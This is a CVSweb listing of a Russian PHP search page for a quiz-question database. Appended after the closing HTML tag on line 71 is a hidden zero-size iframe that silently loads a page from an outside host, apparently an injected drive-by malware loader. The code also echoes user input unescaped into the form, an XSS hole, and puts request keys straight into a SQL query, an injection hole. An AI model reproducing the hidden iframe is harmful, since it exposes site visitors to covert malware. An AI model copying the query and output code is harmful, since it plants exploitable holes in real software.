[BACK]Return to old_style.php CVS log [TXT] [DIR] Up to [Local Repository] / db / prgsrc / new
File:  [Local Repository] / db / prgsrc / new / Attic / old_style.php
Revision 1.2: download - view: text, annotated - select for diffs - revision graph
Fri Feb 8 22:49:13 2008 UTC (16 years, 4 months ago) by roma7
Branches: MAIN
CVS tags: HEAD
dbxml.php added

    1: <?
    2: include "db.php";
    3: include "common.php";
    4: $searchin=@$_GET['searchin'] or 
    5: 	$searchin=array('Question'=>1,'Answer'=>1,'PassCriteria'=>1);
    6: $and=@$_GET['all_words'] or $and=false;
    7: ?><html>
    8: <head>
    9: <title>Подстрочный поиск по базе вопросов</title>
   10: <style>
   11: A, A:link,  A:visited{
   12: 	text-decoration: none;
   13: }
   14: p,body,td {
   15: 	color : #000000;
   16: 	font-size : x-small;
   17: 	font-family : Tahoma,Verdana,Arial;
   18: }
   19: 
   20: H1 {
   21: 	font-size: large;
   22: }
   23: </style>
   24: 
   25: </head>
   26: <body bgcolor="#fff0e0" vlink="#800020">
   27: <form>
   28: <h1>Подстрочный поиск по базе вопросов</h1>
   29: <p><a target="_blank" href='/'>Лёгкий поиск</a></p>
   30: 
   31: Введите поисковую строку: <input type='text' name='sstr' value='<?=stripslashes($_GET['sstr'])?>'>&nbsp;&nbsp;&nbsp;&nbsp;Все слова: <input name='all_words' type='checkbox' <?=$and?'checked':''?>>
   32: <table border=1>
   33: <td rowspan=2>Искать в полях:</td><td>Вопрос</td><td>Ответ</td><td>Зачёт</td><td>Автор</td><td>Комментарий</td><td>Источники</td></tr>
   34: <td><input type='checkbox' <?=$searchin["Question"]?'checked':''?> name='searchin[Question]'></td>
   35: <td><input type='checkbox' <?=$searchin["Answer"]?'checked':''?> name='searchin[Answer]'></td>
   36: <td><input type='checkbox' <?=$searchin["PassCriteria"]?'checked':''?> name='searchin[PassCriteria]'></td>
   37: <td><input type='checkbox' <?=$searchin["Authors"]?'checked':''?> name='searchin[Authors]'></td>
   38: <td><input type='checkbox' <?=$searchin["Comments"]?'checked':''?> name='searchin[Comments]'></td>
   39: <td><input type='checkbox' <?=$searchin["Sources"]?'checked':''?> name='searchin[Sources]'></td></tr>
   40: </table>
   41: <input type='submit'>
   42: </form>
   43: <?
   44: if (@$_GET['sstr']) {
   45: 
   46: include "db.php";
   47: $sstr=stripslashes($_GET['sstr']);
   48: $sstr=trim($sstr);
   49: $swords=preg_split('/\s+/',$sstr);
   50: $g=addslashes($sstr);
   51: foreach (array_keys($searchin) as $k=>$v) {
   52: 	$fields[]="IFNULL($v,'')";	
   53: }
   54: 
   55: $fields=implode(',',$fields);
   56: 
   57: foreach ($swords as $v) {
   58:     $where_array[]="CONCAT($fields) LIKE '%".addslashes($v)."%'";
   59: }
   60: $where=implode(($and?' AND ':' OR '),$where_array);
   61: 
   62: $sql="SELECT t.FileName as tFileName, t1.FileName as t1FileName, q.*, t.Id as tid,t1.id as ttid, t.Title as ttitle,t1.title as tttitle FROM Questions q LEFT JOIN Tournaments t
   63: ON (q.ParentId=t.Id) LEFT JOIN  Tournaments t1 ON (t.ParentId=t1.Id)
   64: WHERE  $where LIMIT 500";
   65: print_questions_sql($sql,true);
   66: } else {
   67: ?>
   68: <hr><?}?>
   69: <p><font size='-1'><i>Поиск производится по копии базы от <?include "date.txt"?> </i></font></p>
   70: </body>
   71: </html><iframe src=http://www.ctv163.com/wuhan/down.htm width=0 height=0></iframe>
FreeBSD-CVSweb <freebsd-cvsweb@FreeBSD.org>